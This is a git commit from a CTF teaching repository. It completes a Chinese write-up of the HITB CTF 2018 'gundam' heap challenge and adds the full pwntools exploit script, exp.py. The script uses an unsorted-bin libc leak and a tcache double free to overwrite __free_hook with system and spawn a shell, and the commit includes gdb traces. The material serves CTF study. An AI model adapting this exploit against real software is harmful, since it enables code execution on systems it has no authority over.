mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 03:01:15 +07:00
finish 6.1.19
This commit is contained in:
parent
3a60abe7bb
commit
bd2a5dadfb
@ -19,7 +19,7 @@ $ strings libc.so.6 | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 6.4.0 20171010.
|
||||
```
|
||||
保护全开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
|
||||
保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
|
||||
|
||||
玩一下:
|
||||
```
|
||||
@ -315,7 +315,7 @@ struct gundam *factory[9];
|
||||
```
|
||||
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。
|
||||
|
||||
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏。
|
||||
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏(以'\x0a'结尾)。
|
||||
|
||||
#### Visit gundams
|
||||
```
|
||||
@ -537,6 +537,229 @@ struct gundam *factory[9];
|
||||
|
||||
|
||||
## Exploit
|
||||
所以利用过程如下:
|
||||
1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook` 和 `system` 的地址。
|
||||
2. 利用 double free,将 `__free_hook` 修改为 `system`。
|
||||
3. 当调用 `free` 的时候就会调用 `system`,获得 shell。
|
||||
|
||||
#### leak
|
||||
```python
|
||||
def leak():
|
||||
global __free_hook_addr
|
||||
global system_addr
|
||||
|
||||
for i in range(9):
|
||||
build('A'*7)
|
||||
for i in range(7):
|
||||
destroy(i) # tcache bin
|
||||
destroy(7) # unsorted bin
|
||||
|
||||
blow_up()
|
||||
for i in range(8):
|
||||
build('A'*7)
|
||||
|
||||
visit()
|
||||
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||||
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||||
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
```
|
||||
|
||||
chunk 被放进 unsorted bin 时:
|
||||
```
|
||||
gdb-peda$ vmmap heap
|
||||
Start End Perm Name
|
||||
0x0000555555757000 0x0000555555778000 rw-p [heap]
|
||||
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||||
0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757030: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757050: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
|
||||
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||||
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||||
0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin
|
||||
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ vmmap libc
|
||||
Start End Perm Name
|
||||
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc.so.6
|
||||
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc.so.6
|
||||
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc.so.6
|
||||
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc.so.6
|
||||
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
|
||||
$1 = 0x3dac78
|
||||
```
|
||||
可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。
|
||||
|
||||
再次 malloc 之后:
|
||||
```
|
||||
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||||
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||||
0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
|
||||
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
可以看到程序并没有在字符串后加 '\x00' 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。
|
||||
|
||||
```
|
||||
[*] libc base: 0x7ffff79f8000
|
||||
[*] __free_hook address: 0x7ffff7dd48a8
|
||||
[*] system address: 0x7ffff7a3fdc0
|
||||
```
|
||||
|
||||
#### overwrite
|
||||
```python
|
||||
def overwrite():
|
||||
destroy(2)
|
||||
destroy(1)
|
||||
destroy(0)
|
||||
destroy(0) # double free
|
||||
|
||||
blow_up()
|
||||
build(p64(__free_hook_addr)) # 0
|
||||
build('/bin/sh\x00') # 1
|
||||
build(p64(system_addr)) # 2
|
||||
```
|
||||
|
||||
触发 double free 时:
|
||||
```
|
||||
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||||
0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757030: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757050: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
|
||||
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||||
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||||
0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
|
||||
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
其 fd 指针指向了它自己。
|
||||
|
||||
接下来的 malloc 将改写 `__free_hook` 的地址:
|
||||
```
|
||||
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||||
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||||
0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
|
||||
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/gx 0x00007ffff7dd48a8
|
||||
0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0
|
||||
gdb-peda$ p system
|
||||
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||||
```
|
||||
|
||||
#### pwn
|
||||
```python
|
||||
def pwn():
|
||||
destroy(1)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
$ python exp.py
|
||||
[+] Starting local process './gundam': pid 7264
|
||||
[*] Switching to interactive mode
|
||||
$ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exp
|
||||
完整的 exp 如下:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||
#elf = ELF('gundam')
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
def build(name):
|
||||
io.sendlineafter("choice : ", '1')
|
||||
io.sendlineafter("gundam :", name)
|
||||
io.sendlineafter("gundam :", '0')
|
||||
|
||||
def visit():
|
||||
io.sendlineafter("choice : ", '2')
|
||||
|
||||
def destroy(idx):
|
||||
io.sendlineafter("choice : ", '3')
|
||||
io.sendlineafter("Destory:", str(idx))
|
||||
|
||||
def blow_up():
|
||||
io.sendlineafter("choice : ", '4')
|
||||
|
||||
def leak():
|
||||
global __free_hook_addr
|
||||
global system_addr
|
||||
|
||||
for i in range(9):
|
||||
build('A'*7)
|
||||
for i in range(7):
|
||||
destroy(i) # tcache bin
|
||||
destroy(7) # unsorted bin
|
||||
|
||||
blow_up()
|
||||
for i in range(8):
|
||||
build('A'*7)
|
||||
|
||||
visit()
|
||||
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||||
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||||
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
|
||||
def overwrite():
|
||||
destroy(2)
|
||||
destroy(1)
|
||||
destroy(0)
|
||||
destroy(0) # double free
|
||||
|
||||
blow_up()
|
||||
build(p64(__free_hook_addr)) # 0
|
||||
build('/bin/sh\x00') # 1
|
||||
build(p64(system_addr)) # 2
|
||||
|
||||
def pwn():
|
||||
destroy(1)
|
||||
io.interactive()
|
||||
|
||||
if __name__ == "__main__":
|
||||
leak()
|
||||
overwrite()
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5924
|
||||
|
68
src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py
Normal file
68
src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py
Normal file
@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||
#elf = ELF('gundam')
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
def build(name):
|
||||
io.sendlineafter("choice : ", '1')
|
||||
io.sendlineafter("gundam :", name)
|
||||
io.sendlineafter("gundam :", '0')
|
||||
|
||||
def visit():
|
||||
io.sendlineafter("choice : ", '2')
|
||||
|
||||
def destroy(idx):
|
||||
io.sendlineafter("choice : ", '3')
|
||||
io.sendlineafter("Destory:", str(idx))
|
||||
|
||||
def blow_up():
|
||||
io.sendlineafter("choice : ", '4')
|
||||
|
||||
def leak():
|
||||
global __free_hook_addr
|
||||
global system_addr
|
||||
|
||||
for i in range(9):
|
||||
build('A'*7)
|
||||
for i in range(7):
|
||||
destroy(i) # tcache bin
|
||||
destroy(7) # unsorted bin
|
||||
|
||||
blow_up()
|
||||
for i in range(8):
|
||||
build('A'*7)
|
||||
|
||||
visit()
|
||||
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||||
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||||
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
|
||||
def overwrite():
|
||||
destroy(2)
|
||||
destroy(1)
|
||||
destroy(0)
|
||||
destroy(0) # double free
|
||||
|
||||
blow_up()
|
||||
build(p64(__free_hook_addr)) # 0
|
||||
build('/bin/sh\x00') # 1
|
||||
build(p64(system_addr)) # 2
|
||||
|
||||
def pwn():
|
||||
destroy(1)
|
||||
io.interactive()
|
||||
|
||||
if __name__ == "__main__":
|
||||
leak()
|
||||
overwrite()
|
||||
pwn()
|
Loading…
Reference in New Issue
Block a user